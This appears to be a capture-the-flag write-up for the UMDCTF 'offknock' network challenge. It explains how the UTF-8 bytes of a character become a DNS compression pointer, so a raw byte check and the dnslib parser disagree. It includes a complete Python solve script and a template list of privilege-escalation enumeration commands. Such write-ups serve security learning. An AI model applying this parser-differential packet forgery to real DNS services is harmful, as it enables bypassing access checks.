offknock
offknock
Platform: Umdctf | Category: Network | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: dns_name_compression_abuse, parser_differential, raw_packet_forgery
Summary
Task: a Python service forwards a raw DNS packet over TCP to a local dnslib resolver and only returns the TXT answer when specific raw qname bytes appear in the request. Solution: forge a DNS query where the UTF-8 bytes of ȳ become a compression pointer, then place a zero byte at offset 0x08b3 so the parser accepts the name and reveals the flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umdctf| ID:20260425_umdctf_offknock - Tags: utf8, dns, dns_compression, raw_packet, tcp_proxy
- Indicators: the service compares raw DNS query bytes instead of the parsed qname, a UTF-8 character expands to bytes with the high bits set, making them valid DNS compression pointer bytes, the request is proxied as a raw packet to a DNS parser that accepts compression in names
- Source:
20260425_umdctf_offknock.md
Foothold
Vulnerability / Misconfiguration
- Dns_name_compression_abuse
- Parser_differential
- Raw_packet_forgery
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- dns_name_compression_abuse
- parser_differential
- raw_packet_forgery
- Tags: utf8, dns, dns_compression, raw_packet, tcp_proxy
Original Writeup
<details><summary>Click to expand original content</summary>Description
No organizer description was preserved in the local task files.
We are given a Python service that accepts a length-prefixed DNS packet over TCP, forwards the raw packet to a local UDP dnslib resolver, and returns the DNS response. The goal is to make the resolver return the TXT record containing the flag.
Analysis
The important behavior is in dns_server.py:
if '\x04flag\x06market\x03polȳ'.encode('utf8') in handler.request[0][12:30]:
reply.add_answer(RR("flag.market.polȳ", QTYPE.TXT, rdata=TXT(flag)))
There are two different interpretations of the same bytes:
- The service performs a raw byte check on
handler.request[0][12:30]. dnslibparses the same bytes as a DNS name.
That mismatch is exploitable because the final character in polȳ is not ASCII. UTF-8 encodes ȳ as c8 b3, and in DNS name parsing any byte with the top two bits set (11xxxxxx) starts a compression pointer. So c8 b3 is interpreted as a pointer to absolute offset 0x08b3.
This means the qname bytes can satisfy the raw substring check:
04 66 6c 61 67 06 6d 61 72 6b 65 74 03 70 6f 6c c8 b3
while the DNS parser reads them as:
- label
flag - label
market - label
pol - compression pointer to offset
0x08b3
To keep the query valid, the pointer target must contain a valid DNS label sequence. The simplest choice is a zero byte, which represents the root label. So we pad the packet until absolute offset 0x08b3 and place 00 there. Then the compressed qname parses successfully, the raw byte check passes, and the resolver returns the TXT answer.
The remaining fields are normal DNS question fields:
QTYPE = TXT(16), because the server rejects any other query type.QCLASS = IN(1).
Solution
- Build a standard DNS header with
QDCOUNT = 1. - Set the qname bytes to
04 flag 06 market 03 pol c8 b3. - Append
QTYPE=TXTandQCLASS=IN. - Pad the packet so that absolute offset
0x08b3exists. - Write a zero byte at offset
0x08b3, making the compression pointer resolve to the root label. - Send the packet as a 2-byte length-prefixed TCP message to the remote service.
- Read the DNS response and extract the TXT record.
Full Solve Script
#!/usr/bin/env python3
import socket
import struct
HOST = "challs.umdctf.io"
PORT = 32324
def build_query():
header = struct.pack("!HHHHHH", 0x1337, 0x0100, 1, 0, 0, 0)
qname = b"\x04flag\x06market\x03pol\xc8\xb3"
question = qname + struct.pack("!HH", 16, 1)
pad = b"\x00" * (0x08B3 - len(header + question))
return header + question + pad + b"\x00"
def main():
query = build_query()
with socket.create_connection((HOST, PORT), timeout=10) as sock:
sock.sendall(len(query).to_bytes(2, "big") + query)
size = int.from_bytes(sock.recv(2), "big")
data = b""
while len(data) < size:
data += sock.recv(size - len(data))
print(data.decode("latin1"))
if __name__ == "__main__":
main()
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR